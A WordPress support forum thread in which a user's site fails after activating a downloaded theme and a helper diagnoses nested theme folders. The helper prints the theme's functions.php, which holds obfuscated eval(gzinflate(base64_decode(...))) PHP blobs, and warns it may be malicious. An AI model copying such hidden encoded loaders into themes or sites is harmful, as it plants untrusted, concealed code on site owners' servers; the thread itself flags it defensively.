• My site is https://www.aprillorier.com and two years of work is gone! This is all I see when I try to log in (was trying to upload a new theme. Using 2.3.3

    Fatal error: Cannot redeclare insert_theme_link() (previously declared in /home/mapriled/aprillorier-www/wp-content/themes/sun-rays/sunrays/functions.php(5) : eval()’d code:4) in /home/mapriled/aprillorier-www/wp-content/themes/sun-rays/sunrays/functions.php(7) : eval()’d code on line 3

    I have no idea what this means or how to fix it. I need help!

Viewing 11 replies - 1 through 11 (of 11 total)
  • upload a new theme how? thats an error you see in a browser, so you were either not uploading a theme, OR you had already uploaded one, and you were trying to activate the new one.

    I’m guessing its the latter.. and that the theme you are trying to activate is the sunrays theme

    the first problem I see is that your theme files are nested. you have this:

    wp-content/themes/sun-rays/sunrays/

    you want this :

    wp-content/themes/sunrays

    OR

    wp-content/themes/sun-rays

    .. and then the files.

    Thats not the source of your error though. The error is in that theme’s functions.php

    Do you have a link to where we can download the theme from, from where you got it? I found that theme on one site but the functions.php for the theme doesnt match what your error is showing me.

    Thread Starter aprillorier

    (@aprillorier)

    I will try to find it again. Hold on.

    Thread Starter aprillorier

    (@aprillorier)

    ok, hang on.

    rename the theme in from your ftp program and it should take you back to the default.

    This is also why you export your posts prior to any change and use the backup database plugin to email you your DB on a regular basis.

    Thread Starter aprillorier

    (@aprillorier)

    My default theme is all messed up. Long story. Hosting co converted my regular site to WordPress and in the process the default theme got messed up. Now they have been bought out and are so “big” they don’t have time to help me.

    The theme I had was called “Grubby Slipcovers” but it had no footer.php which I need for monetization. So I was trying to upload and view a new theme that had footer.php

    I know nothing about WP!

    ok.

    that themes function.php has base64 encoded PHP in it (obsfucated code). If you open the zip on your desktop, pull out the file functions.php and open it in a plain text editor (even word) you will see this:

    <?php
    if ( function_exists('register_sidebar') )
         register_sidebar(array('name'=>'Sidebar'));
    
    eval(gzinflate(base64_decode('jZBPawIxEMXPm08xDIIJWLfnynqRlR78A3aLxxBNXIO7SUhiQ1v63dtN9dRLb8PMb957PCKk5OIYtTUUldSROxsiTlCboHzk8ax6xTttLshm5HQ1GYU/V8rgkxRtZw+ig1Fy8jAjhT7RPD7MWxX5m/AUX+pVvWhgsX3dNHR45FoyWO62a7ihwzLA/rne1ZCBq++q8TlG91SWKaWp6MWHNm2yXjqvQsghwvRo+3KMrKoeGSmK5PgtY04nvBfvFLOeEb1CqOaA+7sENIMGTgDvjr/A/1wR2E83X+Qb')));
    
    $Tce5ff9d9736a05ebc696fa206190f53b='jZBPawIxEMXPm08xDIIJWLfnynqRlR78A3aLxxBNXIO7SUhiQ1v63dtN9dRLb8PMb957PCKk5OIYtTUUldSROxsiTlCboHzk8ax6xTttLshm5HQ1GYU/V8rgkxRtZw+ig1Fy8jAjhT7RPD7MWxX5m/AUX+pVvWhgsX3dNHR45FoyWO62a7ihwzLA/rne1ZCBq++q8TlG91SWKaWp6MWHNm2yXjqvQsghwvRo+3KMrKoeGSmK5PgtY04nvBfvFLOeEb1CqOaA+7sENIMGTgDvjr/A/1wR2E83X+Qb';eval(gzinflate(base64_decode($Tce5ff9d9736a05ebc696fa206190f53b)));
    ?>

    Im not even going to bother decoding it since Im on my laptop and have no mouse, so copying and pasting that would be a pain.

    It might be malicious, it might not. BUT — you dont need to use a theme you cant trust. So .. go here instead:

    https://themes.blogflux.com/theme/1443.html

    get the theme from there, the hidden code I pasted isnt inside their functions.php

    Remove your nested folders of what you just uploaded.

    Follow my tutorial here regarding how to NOT nest folders when uploading themes:

    https://www.village-idiot.org/theme-howto

    and youll be good to go with the new theme.

    Thread Starter aprillorier

    (@aprillorier)

    I’m going to try my best. I’m feeling anxious, but I’ll try. I upload the theme to C:\\AprilLorier\\Wordpress\\content\\theme
    Is that correct?

    Thread Starter aprillorier

    (@aprillorier)

    Or, on the right side of CuteFTP it reads /www/wp-content/themes

    why are you asking me that when I directed you to a tutorial. You have obviously uploaded a theme before or you wouldnt have managed to get this far.

    im going to assume that what I see is your default theme — now you ought to be able to get into the admin area and change to the other new theme.

Viewing 11 replies - 1 through 11 (of 11 total)
  • The topic ‘My entire site is gone! HELP!’ is closed to new replies.